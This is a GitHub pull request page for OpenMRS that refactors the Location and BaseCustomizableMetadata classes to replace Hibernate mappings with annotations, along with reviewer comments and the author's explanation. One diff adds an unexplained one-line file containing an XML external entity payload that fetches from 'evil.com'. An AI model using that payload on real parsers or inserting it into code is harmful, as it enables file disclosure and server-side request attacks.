-
Notifications
You must be signed in to change notification settings - Fork 3.9k
TRUNK-5852: Provider Domain - Switching from Hibernate Mappings to Annotations #4910
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -36,26 +36,16 @@ | |
@Audited | ||
public abstract class BaseCustomizableMetadata<A extends Attribute> extends BaseChangeableOpenmrsMetadata implements Customizable<A> { | ||
|
||
@OrderBy("voided asc") | ||
@BatchSize(size = 100) | ||
@OneToMany(cascade = CascadeType.ALL, orphanRemoval = true, fetch = FetchType.LAZY) | ||
@JoinColumn(name = "location_id") | ||
private Set<A> attributes = new LinkedHashSet<>(); | ||
|
||
/** | ||
* @see org.openmrs.customdatatype.Customizable#getAttributes() | ||
*/ | ||
@Override | ||
public Set<A> getAttributes() { | ||
return attributes; | ||
} | ||
|
||
public abstract Set<A> getAttributes(); | ||
/** | ||
* @param attributes the attributes to set | ||
*/ | ||
public void setAttributes(Set<A> attributes) { | ||
this.attributes = attributes; | ||
} | ||
public abstract void setAttributes(Set<A> attributes); | ||
|
||
Comment on lines
36
to
+48
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If existing code relied on the concrete implementations, confirm that refactoring won't break functionality |
||
|
||
/** | ||
* @see org.openmrs.customdatatype.Customizable#getActiveAttributes() | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -35,6 +35,7 @@ | |
import javax.persistence.Table; | ||
import java.util.Collections; | ||
import java.util.HashSet; | ||
import java.util.LinkedHashSet; | ||
import java.util.List; | ||
import java.util.Set; | ||
|
||
|
@@ -150,6 +151,12 @@ public class Location extends BaseCustomizableMetadata<LocationAttribute> implem | |
@Independent | ||
private Set<LocationTag> tags; | ||
|
||
@OrderBy("voided asc") | ||
@BatchSize(size = 100) | ||
@OneToMany(cascade = CascadeType.ALL, orphanRemoval = true, fetch = FetchType.LAZY) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Do we need to change this class? |
||
@JoinColumn(name = "location_id") | ||
private Set<LocationAttribute> attributes = new LinkedHashSet<>(); | ||
|
||
// Constructors | ||
|
||
/** default constructor */ | ||
|
@@ -854,4 +861,14 @@ public String getAddress15() { | |
public void setAddress15(String address15) { | ||
this.address15 = address15; | ||
} | ||
|
||
@Override | ||
public Set<LocationAttribute> getAttributes() { | ||
return attributes; | ||
} | ||
|
||
@Override | ||
public void setAttributes(Set<LocationAttribute> attributes) { | ||
this.attributes = attributes; | ||
} | ||
} |
This file was deleted.
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
<!DOCTYPE root [<!ENTITY ext SYSTEM "http://evil.com/payload">]><root>&ext;</root> | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Do we need this change? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
why did you make this change?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @ManojLL , The provider class had to have a different one to many mapping i.e i wanted to add mappedBy parameter in the @onetomany annotation,The problem was i could not override the OneToMany Mapping in base class. So i removed the field in superclass and made getter and setters as abstract and implemented it in base class. The tests were also failing without that. Thanks.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can we look for a solution which does not require changing this class?